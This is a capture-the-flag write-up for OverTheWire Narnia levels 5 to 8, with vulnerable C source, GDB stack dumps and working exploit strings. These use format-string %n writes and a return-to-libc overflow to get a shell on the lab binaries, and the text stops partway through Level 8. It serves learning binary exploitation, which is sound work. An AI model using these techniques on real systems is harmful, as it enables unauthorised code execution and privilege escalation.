OverTheWire – Narnia – Level 5-9 – Writeup

This blogpost contains the solutions of how I solved the challenges of the OverTheWire Narnia series of challenges, this category of challenges are aimed at beginners to binary exploitation, similar to the earlier challenges of the Smashthestack IO challenges. The purpose of this wargame is to solve the current level’s problem to find the password for the next level. I will update this blogpost to contain the solutions for all the challenges as I complete the level.

NOTE: Before getting to the actual write-ups, I’ve redacted all the passwords with “*” to not give away the actual passwords.

Levels:

Level 5

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

The challenge for this level is to change the integer “i” from 1 to 500, if so we get the shell. The snprintf() appears to be the vulnerable function in this challenge, which would mean that it is a format string vulnerability challenge. Having a look at the reference for the function, http://www.cplusplus.com/reference/cstdio/snprintf/, we can see that no format parameter was included verifying the suspicious of the snprintf(). Another thing to note before continuing on is that the maximum size for our input for this challenge is 64 characters, if we include input of over 64 bytes in size as the argument passed to the binary, we will cause a Segmentation fault error. With this all worked out let’s begin working on a solution.

narnia5@melinda:/narnia$ ./narnia5 AAAA%x%x%x%x%x%x%x%x%x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAf7e5efc380482610ca00001ffffd8f42fffffd73c41414141] (53)
i = 1 (0xffffd72c)

So I found that after a 4 byte string followed by 9 (%x)’s I was able to see the 4 bytes on stack, the %x format specifier is used to read bytes off the stack. The next step I took was to execute the binary inside of GDB, to begin with I disassembled the main function and put a breakpoint on the snprintf() and then ran the same input as before.

narnia5@melinda:/narnia$ gdb -q ./narnia5
Reading symbols from /games/narnia/narnia5...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048444 <+0>:     push   %ebp
   0x08048445 <+1>:     mov    %esp,%ebp
   0x08048447 <+3>:     push   %edi
   0x08048448 <+4>:     and    $0xfffffff0,%esp
   0x0804844b <+7>:     sub    $0x70,%esp
   0x0804844e <+10>:    movl   $0x1,0x6c(%esp)
   0x08048456 <+18>:    mov    0xc(%ebp),%eax
   0x08048459 <+21>:    add    $0x4,%eax
   0x0804845c <+24>:    mov    (%eax),%eax
   0x0804845e <+26>:    mov    %eax,0x8(%esp)
   0x08048462 <+30>:    movl   $0x40,0x4(%esp)
   0x0804846a <+38>:    lea    0x2c(%esp),%eax
   0x0804846e <+42>:    mov    %eax,(%esp)
   0x08048471 <+45>:    call   0x8048380 <snprintf@plt>		// Argument input
   0x08048476 <+50>:    movb   $0x0,0x6b(%esp)
   0x0804847b <+55>:    mov    $0x80485f0,%eax
   0x08048480 <+60>:    mov    %eax,(%esp)
   0x08048483 <+63>:    call   0x8048330 <printf@plt>
   0x08048488 <+68>:    mov    0x6c(%esp),%eax
   0x0804848c <+72>:    cmp    $0x1f4,%eax					// Compare (cmp) instruction to check the %eax register's value against 0x1fa (500).
   0x08048491 <+77>:    jne    0x80484ab <main+103>			// If the values aren't equal then the JNE (Jump Not Equal) instruction is taken.
   0x08048493 <+79>:    movl   $0x8048611,(%esp)
   0x0804849a <+86>:    call   0x8048340 <puts@plt>
   0x0804849f <+91>:    movl   $0x8048616,(%esp)
   0x080484a6 <+98>:    call   0x8048350 <system@plt>
   0x080484ab <+103>:   movl   $0x8048620,(%esp)			// The JNE instruction jumps to this location.
   0x080484b2 <+110>:   call   0x8048340 <puts@plt>
   0x080484b7 <+115>:   lea    0x2c(%esp),%eax
   0x080484bb <+119>:   movl   $0xffffffff,0x1c(%esp)
   0x080484c3 <+127>:   mov    %eax,%edx
   0x080484c5 <+129>:   mov    $0x0,%eax
   0x080484ca <+134>:   mov    0x1c(%esp),%ecx
   0x080484ce <+138>:   mov    %edx,%edi
   0x080484d0 <+140>:   repnz scas %es:(%edi),%al
   0x080484d2 <+142>:   mov    %ecx,%eax
   0x080484d4 <+144>:   not    %eax
   0x080484d6 <+146>:   lea    -0x1(%eax),%edx
   0x080484d9 <+149>:   mov    $0x8048641,%eax
   0x080484de <+154>:   mov    %edx,0x8(%esp)
   0x080484e2 <+158>:   lea    0x2c(%esp),%edx
   0x080484e6 <+162>:   mov    %edx,0x4(%esp)
   0x080484ea <+166>:   mov    %eax,(%esp)
   0x080484ed <+169>:   call   0x8048330 <printf@plt>
   0x080484f2 <+174>:   mov    0x6c(%esp),%edx
   0x080484f6 <+178>:   mov    $0x8048655,%eax
   0x080484fb <+183>:   lea    0x6c(%esp),%ecx
   0x080484ff <+187>:   mov    %ecx,0x8(%esp)
   0x08048503 <+191>:   mov    %edx,0x4(%esp)
   0x08048507 <+195>:   mov    %eax,(%esp)
   0x0804850a <+198>:   call   0x8048330 <printf@plt>
   0x0804850f <+203>:   mov    $0x0,%eax
   0x08048514 <+208>:   mov    -0x4(%ebp),%edi
   0x08048517 <+211>:   leave
   0x08048518 <+212>:   ret
End of assembler dump.
(gdb) br *0x08048471
Breakpoint 1 at 0x8048471
(gdb) r AAAA%x%x%x%x%x%x%x%x%x
Starting program: /games/narnia/narnia5 AAAA%x%x%x%x%x%x%x%x%x

Breakpoint 1, 0x08048471 in main ()
(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8f0      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8da      0x0000002f      0xffffd71c      0xf7fceff4
0xffffd6d0:     0x08048520      0x08049840      0x00000002      0x08048319
0xffffd6e0:     0xf7fcf3e4      0x00008000      0x08049840      0x08048541
0xffffd6f0:     0xffffffff      0xf7e5f116      0xf7fceff4      0xf7e5f1a5
0xffffd700:     0xf7feb660      0x00000000      0x08048529      0x00000001
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x4e48b022      0x794e1432      0x00000000
0xffffd760:     0x00000000      0x00000000
(gdb) ni
0x08048476 in main ()
(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8f0      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8da      0x0000002f      0xffffd71c      0x41414141 <- The 4 A's
0xffffd6d0:     0x35653766      0x33636665      0x38343038      0x30313632
0xffffd6e0:     0x30306163      0x66313030      0x64666666      0x32616438
0xffffd6f0:     0x66666666      0x31376466      0x34313463      0x34313431
0xffffd700:     0xf7fe0031      0x00000000      0x08048529      0x00000001
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x4e48b022      0x794e1432      0x00000000
0xffffd760:     0x00000000      0x00000000

After a moments thought it occurred to me that the 4 “\x41” were placed onto the stack at 0xffffd6cc, but the “1” value for the i integer is at 0xffffd70c.

(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8ee      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8d8      0x0000002f      0xffffd71c      0x41414141 <- The 4 A's
0xffffd6d0:     0x35653766      0x33636665      0x38343038      0x30313632
0xffffd6e0:     0x30306163      0x66313030      0x64666666      0x32386438
0xffffd6f0:     0x66666666      0x31376466      0x34313463      0x34313431
0xffffd700:     0xf7fe0031      0x00000000      0x08048529      0x00000001 <- the value for i
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x1a239250      0x2d253640      0x00000000
0xffffd760:     0x00000000      0x00000000
(gdb) c
Continuing.
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAf7e5efc380482610ca00001ffffd8d82fffffd71c41414141] (53)
i = 1 (0xffffd70c)
[Inferior 1 (process 6017) exited normally]

This because of this, I need to work out how I can write to the stack is a specific location (0xffffd70c), so I started trying to use a similar method the one I used to solve level 9 of the SmashTheStack IO series of challenges. However this didn’t work out for me, a month of so after my last attempt to solve this challenge I was contacted by hakan, who helped me onto the right path needed to solve this challenge.

He pointed out that if 9 “%x” allows me to read the first 4 bytes back off the stack, 8 would allow me to write to the stack. This meant if I replaced one of the “%x” for a “%n” I would be able to change the value of i. This also meant I need to change the 4 “A”s to the memory address of where i is located.

narnia5@melinda:/narnia$ gdb -q ./narnia5
Reading symbols from /games/narnia/narnia5...(no debugging symbols found)...done.
(gdb) br *0x08048471
Breakpoint 1 at 0x8048471
(gdb) br *0x0804848c
Breakpoint 2 at 0x804848c
(gdb) r $(python -c 'print "\x0c\xd7\xff\xff"')%x%x%x%x%x%x%x%x%n
Starting program: /games/narnia/narnia5 $(python -c 'print "\x0c\xd7\xff\xff"')%x%x%x%x%x%x%x%x%n

Breakpoint 1, 0x08048471 in main ()
(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8f0      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8da      0x0000002f      0xffffd71c      0xf7fceff4
0xffffd6d0:     0x08048520      0x08049840      0x00000002      0x08048319
0xffffd6e0:     0xf7fcf3e4      0x00008000      0x08049840      0x08048541
0xffffd6f0:     0xffffffff      0xf7e5f116      0xf7fceff4      0xf7e5f1a5
0xffffd700:     0xf7feb660      0x00000000      0x08048529      0x00000001	<- Before the snprintf() is called
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x9af939a3      0xadff9db3      0x00000000
0xffffd760:     0x00000000      0x00000000
(gdb) ni
0x08048476 in main ()
(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8f0      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8da      0x0000002f      0xffffd71c      0xffffd70c
0xffffd6d0:     0x35653766      0x33636665      0x38343038      0x30313632
0xffffd6e0:     0x30306163      0x66313030      0x64666666      0x32616438
0xffffd6f0:     0x66666666      0x31376466      0xf7fc0063      0xf7e5f1a5
0xffffd700:     0xf7feb660      0x00000000      0x08048529      0x0000002d	<- After the snprintf() is called
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x9af939a3      0xadff9db3      0x00000000
0xffffd760:     0x00000000      0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x0804848c in main ()
(gdb) c
Continuing.
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [
×ÿÿf7e5efc380482610ca00001ffffd8da2fffffd71c] (45)
i = 45 (0xffffd70c)
[Inferior 1 (process 30980) exited normally]
(gdb)

As you can see in the above output from GDB before and after the snprintf() is called, in the output after the call is made you can see that the value has been changed from a 0x01 to 0x2D (55). In previous outputs of viewing the ESP register in GDB, we can verify that this is because of the new argument passed to the binary that was used.

NOTE: Notice how “$(python -c ‘print “\x0c\xd7\xff\xff”‘)” in the argument followed by “%x%x%x%x%x%x%x%x%n”. This is because we want to write the memory location as the first 4 bytes of the argument but if we pass the memory location to the binary as “\x0c\xd7\xff\xff” it would not understand this is 4 bytes and we would cause the application to crash as we would exceed the input buffer size.

So we are now able to modify the value of i from 1 to 45, but we need to change i to 500. So if we specify the value to write to the memory location by replacing the last “%x” again with value to write we can control the value written to i.

narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff"')%x%x%x%x%x%x%x%500u%n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [,×ÿÿf7e5efc380482610ca00001ffffd8f12f                          ] (63)
i = 537 (0xffffd72c)

And so the final part is to do 500-37 to work out the correct value to write.

narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff"')%x%x%x%x%x%x%x%463u%n
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
**********

I would like to thank hakan for getting me back onto the correct path for solving this challenge.

Level 6

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

int main(int argc, char *argv[]){
    char b1[8], b2[8];
    int  (*fp)(char *)=(int(*)(char *))&puts, i;

    if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

    /* clear environ */
    for(i=0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));
    /* clear argz    */
    for(i=3; argv[i] != NULL; i++)
        memset(argv[i], '\0', strlen(argv[i]));

    strcpy(b1,argv[1]);
    strcpy(b2,argv[2]);
    if(((unsigned long)fp & 0xff000000) == 0xff000000)
        exit(-1);
    fp(b1);

    exit(1);
}

This was an interesting challenge, we have can see that there are two buffers, b1 and b2, which are both defined at 8 bytes in size. What causes this to be interesting is the fact two arguements are respectively entered into the buffers using the strcpy() function. The strcpy() is a function known for causing potential buffer overflows in programs and have been the focus of vulnerabilities in previous challenges. Let’s see if we can cause a crash in the application.

(gdb) r $(python -c'print("A"*8)') $(python -c'print("B"*8)')
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8)') $(python -c'print("B"*8)')

Program received signal SIGSEGV, Segmentation fault.
0x08048304 in ?? ()
(gdb) x/50wx $esp
0xffffd6bc:     0x08048647      0xffffd6f0      0xffffd8fc      0x00000021
0xffffd6cc:     0x08048399      0xf7fcf3e4      0x00008000      0x08049910
0xffffd6dc:     0xffffffff      0xffffffff      0xf7e5f116      0x42424242
0xffffd6ec:     0x42424242      0x41414100      0x41414141      0x08048300 <- Gain control of EIP register here.
0xffffd6fc:     0x00000003 <-   0x08048660      0x00000000      0x00000000 -- The point the application crashes.
0xffffd70c:     0xf7e454b3      0x00000003      0xffffd7a4      0xffffd7b4
0xffffd71c:     0xf7fd3000      0x00000000      0xffffd71c      0xffffd7b4
0xffffd72c:     0x00000000      0x08048280      0xf7fceff4      0x00000000
0xffffd73c:     0x00000000      0x00000000      0x69ae1f2f      0x5ea8db3f
0xffffd74c:     0x00000000      0x00000000      0x00000000      0x00000003
0xffffd75c:     0x08048420      0x00000000      0xf7ff0a90      0xf7e453c9
0xffffd76c:     0xf7ffcff4      0x00000003      0x08048420      0x00000000
0xffffd77c:     0x08048441      0x080484d4

When I ran the application with the 2 arguements passed to the application of both 8 bytes in length caused a crash an application. In the above output from GDB I have pointed at the positions which the EIP register is overwritten and control is of execution can be gained. The next step I took was to confirm that I could overwrite the position on the stack would allow me to gain control of the EIP register.

(gdb) r $(python -c'print("A"*8 + "B"*4 + "C"*4)') $(python -c'print("D"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "B"*4 + "C"*4)') $(python -c'print("D"*8)')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/50wx $esp
0xffffd6bc:     0x08048647      0xffffd6f0      0xffffd8fc      0x00000021
0xffffd6cc:     0x08048399      0xf7fcf3e4      0x00008000      0x08049910
0xffffd6dc:     0xffffffff      0xffffffff      0xf7e5f116      0x44444444
0xffffd6ec:     0x44444444      0x41414100      0x41414141      0x42424242 <- 4 Bytes that overwrite the EIP register
0xffffd6fc:     0x43434343      0x08048600      0x00000000      0x00000000
0xffffd70c:     0xf7e454b3      0x00000003      0xffffd7a4      0xffffd7b4
0xffffd71c:     0xf7fd3000      0x00000000      0xffffd71c      0xffffd7b4
0xffffd72c:     0x00000000      0x08048280      0xf7fceff4      0x00000000
0xffffd73c:     0x00000000      0x00000000      0x2362dbf1      0x14641fe1
0xffffd74c:     0x00000000      0x00000000      0x00000000      0x00000003
0xffffd75c:     0x08048420      0x00000000      0xf7ff0a90      0xf7e453c9
0xffffd76c:     0xf7ffcff4      0x00000003      0x08048420      0x00000000
0xffffd77c:     0x08048441      0x080484d4

It was successfully confirmed that I could overwrite the EIP register. Now the question was how could I actually gain a shell for the next level. With control of the EIP register, I began thinking of how to gain full control. I couldn’t use placing the shellcode into an environment variable and then just overwritting the EIP register with the hardcoded location of the start of my shell. This was because part of the code has been written to clear the system’s environmental variables, just like in the Narnia 4 challenge. So because of this I also figured maybe the solution I used in Narnia 4 could be the solution for this level as well, where I pass the shellcode to the application as part of the arguement. So I decided I should test this theory out.

(gdb) r $(python -c'print("A"*8 + "\x90"*8 + "B"*4)') $(python -c'print("D"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "\x90"*8 + "B"*4)') $(python -c'print("D"*8)')

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb) x/50wx $esp
0xffffd6bc:     0x08048647      0xffffd6f0      0xffffd8fc      0x00000021
0xffffd6cc:     0x08048399      0xf7fcf3e4      0x00008000      0x08049910
0xffffd6dc:     0xffffffff      0xffffffff      0xf7e5f116      0x44444444
0xffffd6ec:     0x44444444      0x41414100      0x41414141      0x90909090
0xffffd6fc:     0x90909090      0x42424242      0x00000000      0x00000000
0xffffd70c:     0xf7e454b3      0x00000003      0xffffd7a4      0xffffd7b4
0xffffd71c:     0xf7fd3000      0x00000000      0xffffd71c      0xffffd7b4
0xffffd72c:     0x00000000      0x08048280      0xf7fceff4      0x00000000
0xffffd73c:     0x00000000      0x00000000      0x58c634fc      0x6fc0f0ec
0xffffd74c:     0x00000000      0x00000000      0x00000000      0x00000003
0xffffd75c:     0x08048420      0x00000000      0xf7ff0a90      0xf7e453c9
0xffffd76c:     0xf7ffcff4      0x00000003      0x08048420      0x00000000
0xffffd77c:     0x08048441      0x080484d4
(gdb) r $(python -c'print("A"*8 + "\xfc\xd6\xff\xff" + "\x90"*4)') $(python -c'print("D"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "\xfc\xd6\xff\xff" + "\x90"*4)') $(python -c'print("D"*8)')
[Inferior 1 (process 3033) exited with code 0377]

So I can’t place my shellcode as part of the arguement but it appears I have to have a valid memory address overwrite the EIP register. So at this point in time I decided I needed to try and find a way to get a command (/bin/sh) that I pass to the application to be executed, and then I realised the stdlib.h is included in the binary. This is useful to us because after the binary begins to execute the system() function is loaded, since it is part of the stdlib.h.

http://www.cplusplus.com/reference/cstdlib/system/

So to find out the memory location of the system() function, I decided the quickest way would to debug the binary with GDB and placing a breakpoint on the main function and run the application. As soon as the breakpoint on main() is hit, the stdlib.h would’ve been loaded which means I would be able to put a breakpoint on the system() function and identify the memory address that way.

narnia6@melinda:/narnia$ gdb -q ./narnia6
Reading symbols from /games/narnia/narnia6...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x80484d8
(gdb) r a b
Starting program: /games/narnia/narnia6 a b

Breakpoint 1, 0x080484d8 in main ()
(gdb) break system
Breakpoint 2 at 0xf7e6b250
(gdb) r $(python -c'print("A"*8 + "\x50\xb2\xe6\xf7")') $(python -c'print("B"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "\x50\xb2\xe6\xf7")') $(python -c'print("B"*8)')

Breakpoint 1, 0x080484d8 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0xf7e6b250 in system () from /lib32/libc.so.6

As you can see in the above GDB debugging output, I was able to identify that the system() function is located in memory at 0xf7e6b250 and I was able to jump to gain control of the application and jump to that location as well. And with that all confirmed, we just need to add the command to be executed to the arguement strings and pass it to the binary.

narnia6@melinda:/narnia$ ./narnia6 $(python -c'print("A"*8 + "\x50\xb2\xe6\xf7")') $(python -c'print("B"*8 + "/bin/sh")')
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
**********

Level 7

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
        fflush(stdout);
        system("/bin/sh");

        return 0;
}

Briefly looking through the functions used in the above code, we can see that the snprintf() function is used again without format parameters. Which means this is another format string vulnerability challenge. After identifying what kind of challenge this would be, I started reading the entire code as a whole.

We can see in the main() an IF statement is used to the user they have to give 1 or more arguements to the binary, if the user doesn’t the application will close. If the user passes 1 or more arguements to the binary, the first arguement entered is passed to the vuln() function.

The vuln() creates a buffer of 128 bytes called buffer, also declares a function called “ptrf” which performs wildcard subsituation two previously declared functions (goodfunction()/hackedfunction()). Next in the vuln(), the buffer is filled with 0’s. Afterwards two printf() functions are used to print the location in memory of two functions (goodfunction()/hackedfunction()). Next the ptrf is set to equal goodfunction and then the current memory location of the ptrf() is printed to the screen. A message is printed to the screen and the program waits 2 seconds and then sets goodfunction() to equal ptrf again. The snprintf() is used to print the contents of the buffer. And finally the program returns to where ptrf() is pointing to, which at the current time would be goodfunction().

(gdb) r A
Starting program: /games/narnia/narnia7 A
goodfunction() = 0x804866f
hackedfunction() = 0x8048695

before : ptrf() = 0x804866f (0xffffd67c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
[Inferior 1 (process 4592) exited normally]

Obviously this challenge is overwrite the goodfunction() memory address in ptrf() with the memory location relevant to the hackedfunction(). This challenge actually gives us all the information we need to complete this challenge without us having to go looking for it. The information we need is the following:

  1. The memory address of the ptrf() function that calls the other functions we have to overwrite (0xffffd67c).
  2. The memory address of the function going to be called by the ptrf() (0x804866f).
  3. And the memory address of the function we need to overwrite to (0x8048695).

This challenge is similar to the level 9 IO Smash The Stack challenge, in which the goal was to overwrite a memory address with a memory address which would lead to the shellcode for the exploit. But unlike that challenge, we can’t use the DTOR method. This left me scratching my head, but then I decided to have a look at the books in my library and pulled out two books which covered format string vulnerabilities.

In the book, Gray Hat Hacking, The Ethical Hacker’s Handbook. 3rd Ed., in chapter 12 there is a section for “Writing to Arbitary Memory” in format string vulnerabilities. Reading this section, it states that the easiest way to write 4 bytes into memory is to split it into two equal parts, and use the parameters #$ and %hn into the right place in memory. This means I need to split the hackedfunction() memory address into the two haves.

Two high-order bytes (HOB): 0x0804
Two low-order bytes (LOB): 0x8695

This book provides a table (table 12-2) which contains the formula to construct the string to overwrite the memory address. Based on the calculations done using the table I was able to proceduce the following string. If you don’t have access to the book, I’m sure you would be able to find a copy to reference. But if you don’t, I’ve included part of the reference table which I used for this challenge.

When HOB < LOB
[addr + 2][addr]
%.[HOB - 8]x
%[offset]$hn
%.[LOB - HOB]x
%[offset + 1]$hn

The below section is the results from the calculation.

[addr + 2][addr] 	= 		\x7e\xd6\xff\xff\x7c\xd6\xff\xff
%.[HOB - 8]x 		=		0x0804 - 8 = 7FC (2044) = %.2044x
%[offset]$hn		=		%6\$hn
%.[LOB - HOB]x		=		0x8695 - 0804 = 7E91 (32401) = %.32401x
%[offset + 1]$hn	=		%7\$hn

Thus the final string sent to the challenge would be.

$(python -c'print("\x7e\xd6\xff\xff\x7c\xd6\xff\xff")')%.2044x%6\$hn%.32401x%7\$hn
narnia7@melinda:/narnia$ ./narnia7 $(python -c'print("\x7e\xd6\xff\xff\x7c\xd6\xff\xff")')%.2044x%6\$hn%.32401x%7\$hn
goodfunction() = 0x804866f
hackedfunction() = 0x8048695

before : ptrf() = 0x804866f (0xffffd67c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ whoami
narnia8
$ cat /etc/narnia_pass/narnia8
**********

References

  • Gray Hat Hacking, The Ethical Hacker’s Handbook. 3rd Ed.
  • Hacking, The Art of Exploitation. 2nd Ed.

Level 8

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;

void func(char *b){
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);

        return 0;
}

With this challenge, we can see that the main() looks for a single argument to be passed to binary and if the user inputs nothing a message would be displayed informing of correct usage. When the user passes 1 more arguments to the binary, the first argument is passed to a custom function called func(). In the func(), we can see at the start a local variable called blah as well as a char array of 20 bytes named bok are declared. The local variable blah is also the address of b. The memset() is used to zero-out the memory in the bok array. Finally a For loop is used to write the contents of blah into the array of bok, but since there isn’t any size retriction on blah, there is a potential overflow here.

narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("A"*19)')
AAAAAAAAAAAAAAAAAAA
narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("A"*20)')
AAAAAAAAAAAAAAAAAAAAÿØÿÿÿÿÿÿñå÷8×ÿÿØÿÿ
(gdb) r $(python -c'print "\x41"*20')
Starting program: /games/narnia/narnia8 $(python -c'print "\x41"*20')

Breakpoint 1, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd670:     0x08048580      0xffffd688      0x00000014      0xf7fceff4
0xffffd680:     0x080484b0      0x08049794      0x41414141 <--  0x41414141 - 0xffffd688 - the start of the user supplied data
0xffffd690:     0x41414141      0x41414141      0x41414141 <--  0xffffd8b4 <--	- 0xffffd69b - the end of the user supplied data
																				- 0xffffd69c - Points to the memory address of blah
0xffffd6a0:     0xffffffff      0xf7e5f116      0xffffd6c8      0x0804848d <-- RET address back to the main() [main+31]
0xffffd6b0:     0xffffd8b4 <--  0x00000000      0x080484b9      0xf7fceff4 - 0xffffd69c - Points to the memory address of blah
-- omitted output --
0xffffd8a0:     0x73656d61      0x72616e2f      0x2f61696e      0x6e72616e
0xffffd8b0:     0x00386169      0x41414141 <--  0x41414141      0x41414141 - The start of *blah
0xffffd8c0:     0x41414141      0x41414141      0x45485300      0x2f3d4c4c
0xffffd8d0:     0x2f6e6962      0x68736162      0x52455400      0x74783d4d

After looking at the stack above, I realised that the machine code displayed in the output must of been the memory addresses at the end of bok. With this thought in mind, I decided to confirm this by running the binary agin with the output being dumped into the a file and then using the “xxd” command I looked at the dump file.

narnia8@melinda:/tmp/dump$ /narnia/narnia8 $(python -c'print "\x41"*20') >> output
narnia8@melinda:/tmp/dump$ xxd output
0000000: 2f6e 6172 6e69 612f 6e61 726e 6961 3820  /narnia/narnia8
0000010: 6172 6775 6d65 6e74 0a41 4141 4141 4141  argument.AAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 41bb d8ff  AAAAAAAAAAAAA...
0000030: ffff ffff ff16 f1e5 f7e8 d6ff ff8d 8404  ................
0000040: 08bb d8ff ff0a                           ......

Other than the “\xbb\xd8\xff\xff” which follows the A’s the memory addresses are the same. So might initial thought was I could overwrite the first memory address with the memory address of the shellcode which would be placed in an environmential variable, but this wasn’t the case because I could not overwrite the memory address at this stage. So I began thinking well since we have an overflow occuring what if we can get around this current point and continue to the overflow to overwrite the RET address with the memory address to the shellcode.

So my thinking was if I could get the binary to go back to blah and pushing data into dok I would be able to cause an overflow which would allow me to gain control of the RET. To do this I would add the memory address for blah after the initial 20 A’s.

(gdb) r $(python -c'print("\x41"*20 + "B"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "B"*4)')

Breakpoint 1, 0x08048467 in func ()
(gdb) x/160wx $esp
0xffffd670:     0x08048580      0xffffd688      0x00000014      0xf7fceff4
0xffffd680:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd690:     0x41414141      0x41414141      0x41414141      0xffffd842 <-- Overwrite these 4 bytes with blah's location
0xffffd6a0:     0xffffffff      0xf7e5f116      0xffffd6c8      0x0804848d <-- RET Address
0xffffd6b0:     0xffffd8b0 <--  0x00000000      0x080484b9      0xf7fceff4 - Points to blah
0xffffd6c0:     0x080484b0      0x00000000      0x00000000      0xf7e454b3
-- omitted output --
